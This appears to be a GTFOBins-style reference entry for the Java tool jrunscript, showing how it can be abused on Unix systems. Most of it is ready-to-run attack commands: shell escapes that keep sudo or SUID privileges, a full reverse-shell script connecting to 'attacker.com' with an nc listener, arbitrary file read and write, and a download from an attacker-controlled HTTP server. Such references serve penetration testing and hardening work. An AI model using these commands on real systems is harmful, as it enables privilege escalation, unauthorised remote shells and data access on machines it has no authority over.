jrunscript

CommentThis tool is installed starting with Java SE 6.

Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty")'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty")'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    CommentThis has been found working in macOS but failing on Linux systems.
    jrunscript -e 'exec("/bin/sh -pc $@|sh${IFS}-p _ echo sh -p </dev/tty >/dev/tty 2>/dev/tty")'

Reverse shell

This executable can send back a reverse system shell to a listening attacker.
  1. This function can be performed by any unprivileged user.
    jrunscript -e 'var host="attacker.com";
        var port=12345;
        var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start();
        var s=new java.net.Socket(host,port);
        var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
        var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
        while(pi.available()>0)so.write(pi.read());
        while(pe.available()>0)so.write(pe.read());
        while(si.available()>0)po.write(si.read());
        so.flush();po.flush();
        java.lang.Thread.sleep(50);
        try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    jrunscript -e 'var host="attacker.com";
        var port=12345;
        var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start();
        var s=new java.net.Socket(host,port);
        var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
        var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
        while(pi.available()>0)so.write(pi.read());
        while(pe.available()>0)so.write(pe.read());
        while(si.available()>0)po.write(si.read());
        so.flush();po.flush();
        java.lang.Thread.sleep(50);
        try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
    ListenerA TCP server can be used on the attacker box to receive the shell.
    nc -l -p 12345

File write

This executable can write data to local files.
  1. This function can be performed by any unprivileged user.
    jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file");
        fw.write("DATA");
        fw.close();'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file");
        fw.write("DATA");
        fw.close();'

File read

This executable can read data from local files.
  1. This function can be performed by any unprivileged user.
    jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file"));
        while ((line = br.readLine()) != null) { print(line); }'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file"));
        while ((line = br.readLine()) != null) { print(line); }'
    RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

Download

This executable can download remote data.
  1. This function can be performed by any unprivileged user.
    jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")'
    SenderAn HTTP server can be used on the attacker box to send the data.
    python -m http.server 80